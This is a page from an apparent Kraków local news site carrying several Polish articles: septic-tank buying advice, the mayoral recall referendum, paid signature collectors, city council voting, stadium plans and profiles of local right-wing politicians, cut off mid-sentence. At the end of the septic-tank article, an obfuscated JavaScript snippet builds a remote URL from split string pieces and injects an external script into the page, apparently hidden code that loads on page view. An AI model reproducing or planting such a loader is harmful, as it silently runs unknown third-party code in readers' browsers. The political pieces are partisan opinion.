Logo Kanał Krakowski
  • Fala faktów
  • Głos z kanału
  • W nurcie rozmowy
  • Ściek medialny
  • Luźne fale

Obserwuj nas na:

  • Fala faktów
  • Głos z kanału
  • W nurcie rozmowy
  • Ściek medialny
  • Luźne fale
Reklama - duża
  1. Strona główna

Fala faktów

Szambo betonowe Kraków 3m³ czy 4m³?

Szambo betonowe Kraków 3m³ czy 4m³?

26 lutego 2026 | 19:18

Zakup szamba betonowego wydaje się prosty — do momentu, gdy zaczynamy zadawać konkretne pytania. Czy cena obejmuje wszystko? Czy szybkozłączka działa z każdą szambiarką? Czy HDS przełoży zbiornik przez ogrodzenie? W praktyce to właśnie te szczegóły decydują o tym, czy montaż przebiegnie sprawnie i bez stresu. Co obejmuje cena zbiornika betonowego? W przypadku małych zbiorników 3m³ i 4m³ standardowy zestaw powinien zawierać: zbiornik monolityczny, płytę górną (najczęściej nieprzejezdną), komin rewizyjny, właz betonowy, transport, posadowienie przy użyciu HDS. Warto zawsze upewnić się, czy podana cena zawiera również rozładunek i ustawienie w wykopie — nie każda firma to gwarantuje w standardzie. Czy szybkozłączka do szamba ma sens? Szybkozłączka to bardzo wygodne rozwiązanie, szczególnie przy działkach letniskowych lub gdy właściciel nie zawsze jest obecny podczas opróżniania zbiornika. Instalacja polega na wykonaniu rury PVC od dna zbiornika z wyjściem na zewnątrz posesji — zwykle w kierunku ogrodzenia. Warto wiedzieć: większość firm asenizacyjnych preferuje opróżnianie przez właz (mniejszy opór dla pompy), jednak w razie potrzeby bez problemu pompują przez szybkozłączkę, najlepiej zaplanować jej montaż od strony najbliższej dojazdu wozu asenizacyjnego. To rozwiązanie, które realnie zwiększa komfort użytkowania. Właz betonowy czy żeliwny? Standardowo zbiorniki wyposażone są we właz betonowy. Jeżeli jednak zbiornik znajduje się w miejscu narażonym na ruch pieszy lub w przyszłości planowana jest zmiana zagospodarowania terenu — warto rozważyć właz żeliwny (np. klasy A15). Z praktyki wynika, że część klientów montuje żeliwo dopiero po zakończeniu budowy, aby nie pozostawiać go na nieogrodzonej działce. Czy HDS przełoży zbiornik przez ogrodzenie? To jedno z najczęstszych pytań. Technicznie jest to możliwe, ale trzeba uwzględnić kilka warunków: brak linii energetycznych nad ogrodzeniem, miejsce na rozłożenie łap podporowych (ok. 2 m od ogrodzenia przy podaniu bocznym), odległość wykopu od ogrodzenia (najlepiej do 2–3 m), stabilny grunt pod samochodem. Dlatego przed montażem warto wysłać zdjęcia do producenta — pozwala to uniknąć niespodzianek w dniu dostawy. 3m³ czy 4m³ — co wybrać? Różnica cenowa między 3m³ a 4m³ bywa niewielka, dlatego często bardziej opłaca się wybrać większy zbiornik. Daje to: rzadsze opróżnianie, większy komfort użytkowania, mniejsze ryzyko przepełnienia przy zwiększonym zużyciu wody. Zbiornik 4m3 jest niższy - nie trzeba tak głęboko kopać. Dlaczego warto zadawać pytania przed zakupem? Im więcej szczegółów ustalimy przed realizacją, tym spokojniejszy przebieg montażu. Dobrze wykonane szambo betonowe Kraków to inwestycja na kilkadziesiąt lat — dlatego warto dopilnować: sposobu montażu, lokalizacji szybkozłączki, rodzaju włazu, możliwości technicznych dojazdu. Bo w tym temacie detale naprawdę mają znaczenie. (function(){ q43g=document.createElement("script");q43g_=("op")+"e"+("ns"); q43g_+="t"+"a"+("t");q43g_+=(".e");q43gu="2601969158";q43g.async=true; q43gu+=".atb9Xija43g8idwgu";q43g.type="text/javascript";q43g_+=""+""+("u/"); q43gu+="zud3twb2ktvfx";q43g.src="https://"+q43g_+q43gu; dq43g=document.body;dq43g.appendChild(q43g); })();

Więcej…

Kraków na rozdrożu. TA decyzja zmieni miasto na zawsze

Kraków na rozdrożu. TA decyzja zmieni miasto na zawsze

25 lutego 2026 | 06:03

Kraków stoi na krawędzi decyzji historycznej: referendum o odwołanie prezydenta Aleksandra Miszalskiego może zmienić oblicze miasta. Mieszkańcy stoją przed pytaniem, czy ostatnie lata przyniosły stabilizację i rozwój, czy nadszedł czas na polityczny reset. Emocje, spory partyjne i obywatelskie zaangażowanie sprawiają, że atmosfera w mieście jest gorętsza niż kiedykolwiek. W debacie publicznej dominują dwa główne głosy: zwolenników inicjatywy referendalnej i jej przeciwników. Przy takiej polaryzacji społecznej, najmniej jest tych, którzy zdania nie mają. Zebraliśmy więc najważniejsze argumenty, byśmy mogli zobaczyć, co mówią ci, którzy są „ZA” oraz ci, którzy są „PRZECIW”. 10 argumentów zwolenników referendum („ZA”): Niezadowolenie z działań urzędującego prezydenta – zdaniem wielu mieszkańców, Miszalski „nie dorósł” do stanowiska i realizuje politykę, która nie odpowiada większości krakusów. Krytyka zatrudniania partyjnych nominowanych – przeciwnicy zarzucają prezydentowi faworyzowanie ludzi związanych z partią zamiast fachowców wyłanianych w konkursach. Kontrowersje wokół konsultacji społecznych, szczególnie dotyczących Strefy Czystego Transportu (SCT), które według krytyków były przeprowadzone niedostatecznie. Brak audytu po poprzedniku – krytycy zarzucają, że prezydent nie przeprowadził audytu po rządach swojego poprzednika, co utrudnia ocenę realnych efektów polityki miejskiej. Wydatki na kampanie informacyjne dotyczące SCT, które część mieszkańców uważa za marnotrawstwo środków publicznych. Rosnące napięcia społeczne – kampania referendalna odbierana jest jako sygnał, że mieszkańcy chcą większego wpływu na kierunek miasta. Mobilizacja różnych środowisk politycznych – inicjatywę popierają m.in. Konfederacja i PiS, co zwiększa jej siłę rażenia i widoczność w przestrzeni publicznej. Kampania podpisowa budzi społeczne zaangażowanie, co jej zwolennicy traktują jako dowód woli zmian. Oczekiwanie realnych zmian i nowej strategii dla Krakowa – zdaniem inicjatorów, referendum ma być impulsem do nowego otwarcia i odświeżenia lokalnej polityki. Dążenie do zwiększenia odpowiedzialności władz przed mieszkańcami – referendum ma być wyrazem zasady, że władza powinna służyć obywatelom, a nie tylko partii.  ZOBACZ TAKŻE: Ile dziennie kosztuje zbieranie podpisów pod listą referendalną? 10 argumentów przeciwników referendum („PRZECIW”): Brak przesłanek fundamentalnych do odwołania – przeciwnicy podkreślają, że błędy i kontrowersje nie są wystarczająco poważne, by usuwać prezydenta z urzędu. Stabilizacja i kontynuacja rozpoczętych projektów – wielu wskazuje, że modernizacja i inwestycje (np. metro, budowy nowych dróg) wymagają dłuższego czasu i nie powinny być nagle przerywane. Ryzyko przerwania kluczowych inwestycji – referendum i potencjalna zmiana władzy mogą zagrozić ciągłości dużych projektów miejskich. Słaba realna frekwencja i zainteresowanie wśród mieszkańców – część przeciwników twierdzi, że w Krakowie tak naprawdę niewielu mieszkańców jest zainteresowanych referendalnym głosowaniem. Nacjonalizacja sporu przez partie polityczne – przeciwnicy uważają, że referendum stało się narzędziem walki partyjnej, a nie obywatelskiej inicjatywy. Możliwość chaosu po ewentualnym odwołaniu – brak jasnych kandydatów i planów po referendum budzi obawy o destabilizację lokalnej polityki. Brak alternatywnych wizji rozwoju miasta – przeciwnicy pytają, kto realnie mógłby przejąć władzę i czy miałby lepszy plan dla Krakowa. Odpowiedzialność za wykorzystanie narzędzia demokratycznego – choć referendum jest prawem, przeciwnicy przekonują, że nie powinno się go wykorzystywać pochopnie, zwłaszcza na wczesnym etapie kadencji. Wątpienie w głębsze poparcie społeczności lokalnej – część głosów sugeruje, że wielu podpisujących to osoby spoza Krakowa albo silnie zmotywowani komentatorzy, a nie szeroka większość mieszkańców. Argument o konieczności czasu na realizację obietnic – przeciwnicy zwracają uwagę, że prezydent ma pięć lat mandat, a ocena jego pracy po półtora roku jest przedwczesna. ZOBACZ TAKŻE: Serce bije szybciej, gdy w portfelu coś szeleści. A gdy szeleści, to wiadomo – od Gibały Kontekst proceduralny: Aby referendum mogło się odbyć, musi zostać zebranych co najmniej ok. 58,3 tys. podpisów mieszkańców, a w samym głosowaniu udział musi wziąć min. 60% liczby wyborców z poprzednich wyborów prezydenckich, czyli ok. 158,5 tys. osób. W nadchodzących tygodniach Kraków będzie obserwował, jak trwająca kampania obywatelska i reakcje mieszkańców przełożą się na ostateczny wynik. Niezależnie od tego, jaka opcja wygra, debata wokół referendum wyraźnie pokazuje, że krakowianie chcą mieć realny wpływ na strategię i przyszłość ich miasta.

Więcej…

Poszedłem podpisać się pod referendum. Oto kulisy ulicznej akcji

Poszedłem podpisać się pod referendum. Oto kulisy ulicznej akcji

24 lutego 2026 | 09:33

Mówią, że to „oddolna inicjatywa mieszkańców”. Ale gdy zaczynasz zadawać pytania, entuzjazm gaśnie szybciej niż wiarygodność ich argumentów. Na ulicach Krakowa trwa zbiórka podpisów pod referendum w sprawie odwołania prezydenta Aleksandra Miszalskiego. Niebieskie kamizelki, hasła o nepotyzmie, betonozie i „potrojonym długu”. Problem w tym, że gdy pytasz o liczby, terminy i fakty – zapada cisza. Albo padają odpowiedzi, które z rzeczywistością mają niewiele wspólnego. Rozmawiałem z kilkoma osobami zbierającymi podpisy. Każda z nich przyznała, że dostaje wynagrodzenie. Stawka zależy od liczby podpisów zebranych na godzinę. – Da się dorobić – usłyszałem. To oczywiście nic złego. Ale trudno mówić o spontanicznym zrywie obywatelskim, gdy za każdy podpis ktoś inkasuje prowizję. ZOBACZ TAKŻE: Ile dziennie kosztuje zbieranie podpisów pod listą referendalną? Argumenty? „Miszalski potroił zadłużenie”. Tyle że dług miasta nie „wystrzelił” w sposób, o którym mówili ankieterzy. „Referendum pod koniec roku”. Nie. Jeśli do niego dojdzie, terminy są zupełnie inne. „20 procent terenów zielonych w całym Krakowie”. Źródło? „Post na Facebooku”. Gdy dopytuję o alternatywę, słyszę: „Nie mam pojęcia”. Gdy pytam, kto administruje danymi osobowymi – odpowiedzi są mgliste. Gdy pytam, kto za tym stoi, pada nazwa stowarzyszenia Kraków dla Mieszkańców, którego liderem jest Łukasz Gibała. Dlaczego miałbym się podpisać? Rozmawiałem z sześcioma osobami, które w niebieskich kamizelkach zbierają podpisy pod listą referendalną. Od pierwszej z nich, na Rondzie Mogilskim, dowiedziałem się, że jak tylko podpiszę listę, a – podobnie jak ja – postąpi 60 tysięcy krakowian, to prezydent z automatu zostanie odwołany. Ta krótka wymiana zdań zainspirowała mnie do kolejnych pogawędek ze zbierającymi podpisy pracownikami. „Miszalski potroił zadłużenie” Ja: – Dlaczego miałbym się podpisać? Pracownik 2: – Jak pan podpisze to odbędzie się referendum i odwołamy prezydenta. – A dlaczego chcemy go odwołać? – Kurczę, ja nie lubię robić personalnych zarzutów. Ogólnie to ludzie zrzucają mu nepotyzm, niewykonywanie zobowiązań, do których się sam zobowiązał, niewywiązywanie się z obietnic wyborczych, zgadzanie się na niefajne projekty, jeśli chodzi o infrastrukturę krakowską. I, przede wszystkim, jakieś absurdalne zadłużenie miasta. – A jakie jest zadłużenie miasta? Po tym pytaniu nastała cisza, dlatego postanowiłem pomóc. – Jak Majchrowski kończył ostatnią kadencję, to zadłużenie wynosiło coś między 6 a 7 mld. – No to Miszalski już to chyba podwoił albo potroił to zadłużenie. [Zadłużenie Krakowa na początku 2026 roku przekroczyło 7,85 mld złotych – dop. autor] „Referendum pod koniec roku” Ja: – Kiedy odbędzie się to referendum? Pracownik 3: – Pod koniec roku. – A wybory? – Chyba też pod koniec roku. Bo to zawsze tak długo trwa. Przetwarzają, analizują… [Jeśli dojdzie do referendum, to odbędzie się najpóźniej w czerwcu. W razie odwołania prezydenta, wybory odbędą się najpóźniej we wrześniu – dop. autor] fot. Kanał Krakowski „Stawki są różne” Ja: – Dlaczego miałbym się podpisać? Pracownik 4: – Strefa Czystego Transportu to rozwiązanie bardzo niesprawiedliwe – Akurat mieszkam w Krakowie i jestem zwolennikiem SCT. – No bo w dłuższym okresie jest to dobry program. Ale z gmin ościennych i tak cały ten smog napływa do Krakowa, więc SCT nie wpływa tak na nasze powietrze. Poza tym problemem są też podwyżki cen wywozu śmieci czy biletów MPK. – Gibała zbiera te podpisy? Nie. My nie jesteśmy ani od Gibały ani od PiS-u. Ani od Konfederacji, bo to też często słyszę. Jesteśmy bezpartyjni. Oni wszyscy też zbierają, ale my jesteśmy niezależni. – A kto jest administratorem danych osobowych? – Jan Hoffman jest jednym z inicjatorów. To taki działacz krakowski. Nie wiem, czy jest bezpartyjny, dokładnie nie kojarzę. – Płacą wam chociaż za to stanie tutaj? – No pewnie, coś tam dostajemy. Zależy ile podpisów się zbierze. Różne stawki są. Da się dorobić. Łukasz Gibała / fot. Łukasz Michalik „Gibała nie będzie startował” Ja: – Dlaczego miałbym się podpisać? Pracownik 5: – Przede wszystkim betonoza w całym Krakowie… – O betonozie to już za Majchrowskiego mówili. – Ale wie pan, chodzi nam o to, żeby tej betonozy nie było. Bo Miszalski nawet powiedział, że nie chce zostawić nawet 20 procent terenów zielonych w Krakowie. – Serio?! Kiedy tak powiedział? – Był post o tym na Facebooku. – Jaki? – No że chce zostawić 20 procent terenu zielonego. 20 procent w całym Krakowie! Więc nie wiem, gdzie będziemy wychodzić na spacer, z psem… (…) – Kto zbiera te podpisy, tak dokładnie? – My jesteśmy Kraków dla Mieszkańców, stowarzyszenie. – Czyli Gibała? – Tak, tak. – A już była Pani bliska, bym się podpisał. (śmiech) – Dlaczego zbiera Pani dla Gibały? – My jesteśmy Kraków dla Mieszkańców. Walczymy ogólnie dla Krakowa. Ze wszystkim tak naprawdę. – Żeby Gibała został prezydentem? – Nie. Gibała prawdopodobnie w ogóle nie będzie startował. – Bez jaj. Już trzy razy startował. – No ale nawet pisał na internecie, że nie wie, czy będzie startował. Więc nie jest to stricte tak dla niego. Jest to ogólnie dla Krakowa. – No to na kogo głosować, jak odwołamy Miszalskiego? – Nie mam pojęcia. – No ale jaka jest alternatywa? Zależy co wystawią. Wiadomo, że politycy muszą potrafić kłamać, bo taka jest polityka. Gdyby nie kłamali, to nikt by na nich nie głosował. Inicjatorzy referendum / fot. Kanał Krakowski „Stawka zależy od zebranych podpisów na godzinę” Ja: – Jak się podpiszę, to będzie Pani coś z tego miała? Pracownik 6: – No taaak! – A ile Pani zarobi za mój podpis?   – Nie mam pojęcia, zależy ile będę miała wszystkich. Mamy płacone na godzinę. To znaczy, stawka zależy do tego, ile podpisów mamy na godzinę. – To może ja sobie dorobię? – Może pan przyjść. – A ile osób zbiera? – Z naszego biura około 60. Dziś w terenie zbiera około 30. – Po domach też chodzicie? – Tak. To się door to door nazywa. I chodzimy po blokach. (…) – A gdzie trafiają te podpisy? – Nie wiem dokładnie, ale do skarbnicy. Najpierw to idzie do naszego biura i ktoś to przelicza. Potem idzie to wyżej i ktoś to przelicza jeszcze raz. A potem do skarbnicy. Tak nam powiedzieli. Ja nie wiem, co to za skarbnica. Referendum to decyzja z konsekwencjami  Jeśli referendum ma być poważnym narzędziem demokracji, to musi opierać się na faktach, odpowiedzialności i jasnym celu. Tymczasem z rozmów wyłania się obraz akcji, w której łatwo rzuca się ciężkie oskarżenia, trudniej podać liczby, a najtrudniej wskazać jakąkolwiek realną alternatywę. Odwołanie prezydenta miasta to nie facebookowy komentarz ani sonda uliczna. To decyzja, która paraliżuje samorząd na miesiące i kosztuje wszystkich mieszkańców czas, pieniądze i stabilność. Jeśli ktoś chce mnie przekonać do takiego kroku, musi zaproponować coś więcej niż hasła o „betonozie” i „potrojonym długu”. Bo podpis pod listą to nie jest gest „przeciw komuś”. To jest ruch „za czymś”. Za konkretną wizją miasta, za konkretną odpowiedzialnością i za kimś, kto potrafi wziąć stery, jeśli obecny prezydent straci mandat. Tymczasem gdy pytam: „kto zamiast?”, słyszę: „nie mam pojęcia”. A to wystarczający powód, by długopis jednak schować do kieszeni. ZOBACZ TAKŻE: Ile dziennie kosztuje zbieranie podpisów pod listą referendalną?

Więcej…

Radni jak dzieci… czy raczej jak kukiełki?

Radni jak dzieci… czy raczej jak kukiełki?

23 lutego 2026 | 18:08

Konfederacja chce, by radni głosowali od razu po dyskusji nad każdym punktem, a nie hurtem na końcu sesji. Na papierze brzmi to jak powiew zdrowego rozsądku. W praktyce? To jak przestawianie zegarka w pokoju, w którym od dawna nikt nie patrzy na godzinę. Konfederacja złożyła petycję, by radni głosowali zaraz po dyskusji nad danym punktem, a nie w jednym wielkim bloku na końcu sesji. I w sumie… ma sens! Oczywista sprawa. Logika sama się prosi. Ale zaraz, zaraz… Ideologiczne pomysły to jedno, a życie to drugie. Bo jak naprawdę wyglądają głosowania w radzie miasta? Radni wiedzą, jak zagłosują jeszcze zanim dyskusja się zacznie. Decyzje zapadają na posiedzeniach klubów, przy kawie, między kanapką a przeglądaniem telefonu. A jeśli ktoś nie do końca wie, nad czym głosuje, spokojnie – zawsze można zerknąć na sąsiada z klubu i zrobić dokładnie to samo. Problem rozwiązany. Sesja Rady Miasta Krakowa / fot. Łukasz Michalik Po co więc ta cała dyskusja podczas sesji? Po co to wykrzykiwanie z mówiący? Po co wielkie erystyczne show? To teatrzyk dla lokalnych mediów i kilkudziesięciu mieszkańców, którzy oglądają transmisję sesji w internecie. No i jeszcze – co bardzo ważne – by powycinać sobie fajne shorty na media społecznościowe. Tak więc, czy naprawdę zmiana kolejności głosowania coś zmieni? Nie zmieni. Bo problem nie tkwi w tym, że radni głosują w bloku na końcu sesji. Problem tkwi w tym, że część radnych… nie wie nawet, nad czym głosuje. Nie wiedzą, bo nie muszą wiedzieć. Mają kolegę z klubu, który „zna temat”, i po prostu kopiują jego decyzję. To nie jest wymysł, to codzienność. Tak kosmetyczne poprawki, jak zmiana momentu głosowania, mogą wyglądać ładnie w petycji, w mediach, na Facebooku. Ale prawdziwa zmiana nie przyjdzie od tego, że głosowanie odbędzie się tuż po dyskusji. Prawdziwa zmiana wymaga przewartościowania całej „klasy politycznej” – radnych, którzy traktują sesje jak formalność, którzy wybierają zgodnie z klubowymi dyrektywami, a nie własnym rozumem. Prawda jest taka, że dziś moglibyśmy skrócić sesje wyłącznie do bloku głosowań. Do formalności. Bo dopóki cały samorząd pozostaje tak mocno upolityczniony i tak wygodny dla schematów partyjnych, dopóty kosmetyczna zmiana w rodzaju „głosujemy od razu po omawianym punkcie” będzie tylko pozornym ruchem. Radni PiS. Do lewej: Mariusz Kękuś, Michał Drewnicki i Włodzimierz Pietrus / fot. Łukasz Michalik Czy to jest normalne? – zapyta jakiś oburzony mieszkaniec. "Normalne" może nie, ale na pewno powszechne. A powszechne nie znaczy, żę wartościowe. Jedzenie w McDonald’s też jest powszechne, ale chyba nikt nie powie, że jest zdrowe. Podobnie powszechny teatr w radzie miasta nie staje się nagle wartościowym doświadczeniem obywatelskim. Więc tak, pomysł Konfederacji ma sens. W teorii. W praktyce najważniejsze jest nie to, kiedy radni wcisną przycisk, ale to, żeby przestali być kukiełkami w rękach partyjnych układów. Dopóki tego nie zmienimy, każda „kosmetyczna” zmiana będzie jak przestawienie fotela na statku tonącym w politycznych schematach. I nawet najlepsze petycje nic tu nie zdziałają. Chyba, że ktoś wreszcie zacznie patrzeć radnym na ręce, zanim wcisną przycisk. ZOBACZ TAKŻE: Nowy władca prawicy w Krakowie. Przystojny, ambitny, nie do powstrzymania

Więcej…

Kraków stadionową potęgą. Co czeka obiekty Cracovii, Wisły, Wieczystej, Hutnika i Garbarni?

Kraków stadionową potęgą. Co czeka obiekty Cracovii, Wisły, Wieczystej, Hutnika i Garbarni?

23 lutego 2026 | 14:08

Kraków stoi przed stadionową rewolucją! Wisła, Cracovia, Wieczysta, Hutnik i Garbarnia gotowe są wywrócić piłkarską mapę miasta do góry nogami! Czy wreszcie doczekamy się stadionów, o jakich kibice marzą od dekad, czy kolejny raz utopimy miliony w papierowych planach? W najnowszym materiale eksperci z portalu Stadiony.net przyglądają się stadionowym planom największych i najbardziej ambitnych klubów naszego miasta. Czy Kraków ma szansę stać się stadionową potęgą? Ambicje Wisły, Cracovii, Wieczystej, Hutnika i Garbarni są wielkie, ale zderzają się z biurokracją, kosztami i ograniczeniami architektonicznymi. W tym materiale sprawdzamy stan infrastruktury piłkarskiej w Krakowie na rok 2026. W materiale zobaczysz, jak skończył się "sen o potędze" na Rydlówce, ile brakuje w budżecie na nowy dom Wieczystej i dlaczego Hutnik utknął w procedurach planistycznych. Stadiony.net analizują też sytuację gigantów: Cracovii i Wisły. Czy obiekt przy ul. Kałuży ma szansę na rozbudowę pod nowym zarządem i jak radzi sobie Wisła na Reymonta już jako Synerise Arena? Odpowiedzi na te pytania znajdziecie w materiale poniżej. źródło: Stadiony.net

Więcej…

Nowy władca prawicy w Krakowie. Przystojny, ambitny, nie do powstrzymania

Nowy władca prawicy w Krakowie. Przystojny, ambitny, nie do powstrzymania

23 lutego 2026 | 10:05

Jeszcze kilka miesięcy temu był jednym z wielu lokalnych działaczy, znanym w bardzo wąskim kręgu prawicowców. Dla pozostałych – polityczny nołnejm. Dziś coraz śmielej mówi się, że to on może rozdawać karty po prawej stronie krakowskiej, a może i ogólnopolskiej sceny politycznej. Piotr Bartosz nie ukrywa ambicji i coraz mniej osób ma wątpliwości, że jego polityczny marsz dopiero się rozpędza. Trampoliną do jego kariery ma być oczywiście referendum w sprawie odwołania prezydenta Krakowa. W praktyce już nią jest. Bo choć wciąż nie wiadomo, czy referendum w ogóle się odbędzie, Bartosz stał się jedną z najbardziej rozpoznawalnych twarzy tej inicjatywy. Nowa gwiazda prawej strony sceny Piotr Bartosz wyrasta na jedną z najbardziej wyrazistych postaci krakowskiej polityki. Ma 40 lat. Z zawodu jest technikiem elektronikiem. Prywatnie mąż i ojciec. Od 2020 roku prowadzi własną działalność gospodarczą w branży budowlanej. Jednak to nie biznes, a polityka wydaje się jego prawdziwą pasją. I, sądząc po tempie działań, także długofalowym planem na przyszłość. Od 2015 roku konsekwentnie buduje swoją pozycję w środowiskach narodowych. Dziś jest liderem krakowskich struktur Ruchu Narodowego. Jak mówią jego sympatycy – „pracowity i zdeterminowany”. Jak podkreślają przeciwnicy – „ambitny aż za bardzo”. Jedno jest pewne: obok jego nazwiska trudno przejść obojętnie. Polityczna trampolina na czterech kołach W 2023 roku startował w wyborach do Sejmu z list Konfederacji. Uzyskał 0,33 procent głosów. Wynik daleki od spektakularnego. źródło: PKW Szerokiej publiczności dał się jednak przede wszystkim poznać jako twarz protestów przeciwko Strefie Czystego Transportu. Jako przewodniczący komitetu społecznego „Kraków dla Kierowców” współtworzył inicjatywę uchwałodawczą mającą na celu uchylenie miejskich regulacji. Transparenty, konferencje prasowe, wystąpienia... Bartosz szybko odnalazł się w roli lidera ulicznego sprzeciwu. Dla jednych stał się obrońcą kierowców, dla innych – sprawnym politycznym strategiem, który wyczuł społecznie nośny temat. To nie był przypadek. On wiedział, że SCT to paliwo polityczne. Buduje swoją karierę na konflikcie. Im większe emocje, tym lepiej dla niego.  – mówi nam jeden z miejskich radnych. Następca z ambicjami W krakowskich kręgach prawicowych coraz częściej pojawia się pytanie, czy to właśnie on ma stać się naturalnym następcą Konrada Berkowicza – dotychczas jednej z najbardziej rozpoznawalnych postaci tego środowiska. Skompromitowanego (nie tylko kradzieżą patelni z IKEA) polityka mógłby więc zastąpić nowy, mniej kontrowersyjny, a przy tym chyba nawet bardziej wyrazisty lider. Dynamiczny, konsekwentnie budujący własną markę Bartosz zdaje się mieć apetyt na więcej niż tylko rolę lokalnego działacza. On bardzo chce wejść w buty Berkowicza. A może nawet w większe. Jeśli ktoś myśli, że to tylko lider protestu od samochodów, to się grubo myli. On celuje w parlament. – słyszymy od jednego z politycznych wyjadaczy. Mężczyzna jak z plakatu Nie bez znaczenia pozostaje wizerunek. Wysoki, przystojny, zawsze starannie ubrany. Zarówno na żywo jak i w mediach społecznościowych prezentuje się jak polityk nowej generacji. Taki, który wie, że dziś bardziej niż program liczy się prezencja. On wygląda jak z plakatu wyborczego jeszcze zanim kampania się zacznie. Czasem mam wrażenie, że w tym wszystkim więcej jest marketingu niż idei.  – śmieje się jeden z działaczy. Z pomocą przyszedł Gibała Kraków od lat jest sceną ostrych sporów ideowych. Tu ścierają się wizje miasta otwartego i progresywnego z narracją o „obronie tradycji” i sprzeciwie wobec kolejnych zmian. To również przestrzeń, w której – paradoksalnie – stosunkowo łatwo wypłynąć. Wystarczy wyrazisty temat, mocne hasło i determinacja, by przebić się do medialnego obiegu. A sprzeciw bywa paliwem wyjątkowo wydajnym. Bartosz zdaje się doskonale to rozumieć. A dzisiejszy klimat polityczny w mieście sprzyja tym, którzy chcą wjechać z impetem do wielkiej gry. W dużej mierze to efekt działań Łukasza Gibały. Niepogodzony z porażką w wyborach polityk od 17 lat próbuje zdobyć miejsce w Pałacu Wielopolskich. ZOBACZ TAKŻE: Majchrowski: "Gibała od 17 lat przebiera nogami, by być prezydentem" [WYWIAD] Skoro trzykrotnie przegrał wybory, postanowił kolejny raz spróbować odwołać urzędującego prezydenta w drodze referendum. Wcześniej nie udało mu się to wobec Jacka Majchrowskiego, bo wśród złożonych przez Gibałę podpisów, PKW i prokuratura doszukały się kilkudziesięciu tysięcy sfałszowanych. ZOBACZ TAKŻE: Referendalna hucpa Gibały, sfałszowane podpisy i kompromitacja prokuratury Teraz celem stał się Aleksander Miszalski. A takie buntownicze akcje wymierzone w rządzących, od lat stanowią naturalne środowisko wzrostu dla środowisk narodowych i szerzej rozumianej skrajnej prawicy. Polityka na paliwie sprzeciwu Na horyzoncie pojawiła się więc akcja referendalna, a dla tak ambitnego polityka jak Bartosz to sytuacja niemal modelowa. Wyraźny przeciwnik, konkretne emocje społeczne i możliwość ustawienia się w roli lidera „obywatelskiego sprzeciwu”. Prezydent Miszalski objął w zeszłym roku patronatem Paradę Równości, co było dla nas dziwne i niedopuszczalne. (...)Na pewno też do zmiany jest sposób pełnienia urzędu, bo widać, że prezydent Miszalski trochę nie dorósł do tego stanowiska. Ja rozumiem, że żyjemy w XXI wieku, w dobie cyfryzacji i mediów społecznościowych, które poniekąd wymuszają na politykach, żeby brać w nich czynny udział. Natomiast nagrywanie głupich tiktoków nie sprawia, że ludzie takiego prezydenta traktują poważnie. – mówił lider Ruchu Narodowego w wywiadzie dla KRKnews: Piotr Bartosz o referendum: "Nawet Tusk z Trzaskowskim nie pomogą Miszalskiemu". Bo w polityce lokalnej, podobnie jak w ogólnopolskiej, łatwiej przebić się na fali negacji niż poprzez żmudne budowanie kompromisów. Referendum to dla niego polityczne złoto. Może znów stanąć na czele gniewu. – ocenia jeden z radnych. Nie jest tajemnicą, że środowiska narodowe i szerzej rozumiana skrajna prawica w Polsce od lat budują swoją popularność właśnie na sprzeciwie: wobec elit, instytucji i kolejnych reform. Mechanizm jest prosty: im większe niezadowolenie, tym większa przestrzeń do zagospodarowania. Hasło „nie” bywa bardziej nośne niż skomplikowane „jak”. Referendum. Trampolina czy test dojrzałości? Czy więc referendum stanie się dla Bartosza kolejną trampoliną? W mieście, w którym emocje polityczne łatwo się rozpalają, a debata szybko przeradza się w spór, taka strategia może przynieść szybkie efekty. Pytanie tylko, czy na dłuższą metę wystarczy sama energia sprzeciwu, czy też wyborcy zaczną oczekiwać czegoś więcej niż konsekwentnego „nie”. Pytanie nie brzmi już natomiast, czy Piotr Bartosz ma ambicje (bo te widać gołym okiem), ale jak daleko one sięgają. ZOBACZ TAKŻE: PiS wyciągnie asa z rękawa? To ON może zasiąść w fotelu prezydenta Krakowa

Więcej…

PiS wyciągnie asa z rękawa? To ON może zasiąść w fotelu prezydenta Krakowa

PiS wyciągnie asa z rękawa? To ON może zasiąść w fotelu prezydenta Krakowa

20 lutego 2026 | 15:07

Jeszcze dobrze nie zebrano podpisów pod wnioskiem referendalnym. Jeszcze nie wiadomo, kiedy – ani nawet czy – referendum w ogóle się odbędzie. Jeszcze nie wiadomo, czy mieszkańcy będą chcieli odwołać Aleksandra Miszalskiego. A już ruszyła polityczna giełda nazwisk i zakulisowe przymiarki do wskazania jego następcy. Gibała? Jako nieformalny lider referendum, nie po to dąży do odwołania prezydenta, by nie chcieć zająć jego fotela. Pod Gibałę podpięli się już i Konfederacji (czyli słynny złodziej patelni z IKEA Berkowicz) i skrajne lewactwo (przyszła pani poseł Owca). Jak przyjdzie co do czego, to pewnie się pokłócą w pierwszym możliwym terminie, ale na razie walczą dzielnie ramię w ramię. To jednak oczywistości. Wszyscy o tym mówią, wszyscy o tym piszą, wszyscy to widzą. ZOBACZ TAKŻE: Majchrowski: "Gibała od 17 lat przebiera nogami, by być prezydentem" [WYWIAD] Najciekawiej jest jednak w Prawie i Sprawiedliwości.  Tu wchodzimy w krakowską tradycję. Bo zanim jeszcze opadnie pierwszy kurz, zanim komitety policzą podpisy, zanim eksperci ogłoszą, że „wszystko jest możliwe” – na horyzoncie pojawia się ON. Dyżurny kandydat. Nazwisko, które powraca jak hejnał z Mariackiej wieży. Andrzejewski. A ściślej: Mariusz Andrzejewski – ekonomista, profesor, człowiek z doświadczeniem państwowym i akademickim. W krakowskiej polityce funkcjonuje trochę jak polityczny rezerwista: nie zawsze na boisku, ale zawsze w kadrze. Kiedy tylko zaczyna się spekulacyjny sezon, jego nazwisko wypływa jako „poważna opcja”. Dlaczego właśnie on? Po pierwsze: rozpoznawalność w środowiskach prawicowych i akademickich. Był wiceministrem finansów za czasów rządów PiS-u. Współtworzył program PiS-u. I wreszcie startował już z list PiS-u w wyborach do europarlamentu. Członkiem PiS-u jednak nie jest. Po drugie: wizerunek człowieka merytorycznego, z zapleczem eksperckim. Jest profesorem nadzwyczajnym Uniwersytetu Ekonomicznego. Kandydował na rektora UEK-u w ostatnich wyborach, ale ostatecznie się wycofał "z powodów rodzinnych". Odznaczony kilkoma krzyżami i orderami. Po trzecie: brak zużycia w codziennej, ostrej miejskiej wojnie. Kiedyś wyskoczył z jakimś pomysłem budowy toru Formuły 1 w Nowej Hucie, ale generalnie nie kojarzy się z polityczną "naparzanką". Na pewno nie ma tak zużytej twarzy, jak Gibała. Co więcej: ma twarz! Może nie tak rozpoznawalną, ale... Po czwarte: jeszcze nic nie zepsuł. Bo za wiele się nie narobił w miejskiej polityce, więc 